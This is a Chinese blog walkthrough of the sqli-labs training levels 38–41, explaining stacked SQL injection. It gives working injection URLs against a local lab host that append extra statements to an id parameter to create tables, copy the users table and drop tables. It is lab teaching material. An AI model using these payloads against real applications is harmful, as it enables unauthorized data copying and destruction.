zoukankan      html  css  js  c++  java
  • Sqli-labs Less-38-41

    堆叠注入 

      堆叠注入,英文名Stacked injections。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

    原理介绍:

      在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    Less-38:

      测试注入点,发现使用’(单引号包裹):

      http://192.168.1.1/sqli-labs-master/Less-38/?id=1'--+

       我们使用堆叠注入尝试一下,先访问Mysql数据库,键入show tables;可以看到里面原来就有的表:

       然后我们在Less-38中输入命令,这里我们用堆叠注入的方式,在第二个语句创建一个表:

      http://192.168.1.1/sqli-labs-master/Less-38/?id=1' union select 1,2,3;create table liuhui like users;--+

       再次查看Mysql,发现已经创建成功:

       注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构。

    Less-39:无包裹

      这一关除了包裹方式的不同,其他步骤都与Less-38相同,这里通过堆叠注入把上一节中新建的表删除:

      http://192.168.1.1/sqli-labs-master/Less-39/?id=1;drop table liuhui; --+

       打开Mysql发现表liuhui已经删除:

       这里就不再赘述,放出语句截图:

      http://192.168.1.1/sqli-labs-master/Less-39/?id=1;create table liuhui39 like users;insert into liuhui39 select * from users;--+

       打开Mysql键入语句show tables;和select * from liuhui39;

     

       再次删除:

      http://192.168.1.1/sqli-labs-master/Less-39/?id=1;drop table liuhui39;--+

       删除成功:

    Less-40:用?id=1’)进行包裹

      除了包裹方式,与Less-38全都相同,不再赘述,参考Less-38。这一节没有错误回显,所以不能使用报错注入。

    Less-41:无包裹

      这一关没有包裹,错误不回显,不能使用报错注入,具体步骤和语句请参考Less-38,此处不再赘述。

  • 相关阅读:
    拷贝构造函数的用法
    虚基类的用法
    函数模板的用法,以及类外定义的注意事项
    怎么学好python?
    树状数组单点更新和区间查询
    线段树的基本操作
    快排算法的实现
    react-redux 中 connect 的常用写法
    ant-design表单处理和常用方法及自定义验证
    ionic 签名、打包
  • 原文地址:https://www.cnblogs.com/FHBBS/p/12369198.html
Copyright © 2011-2022 走看看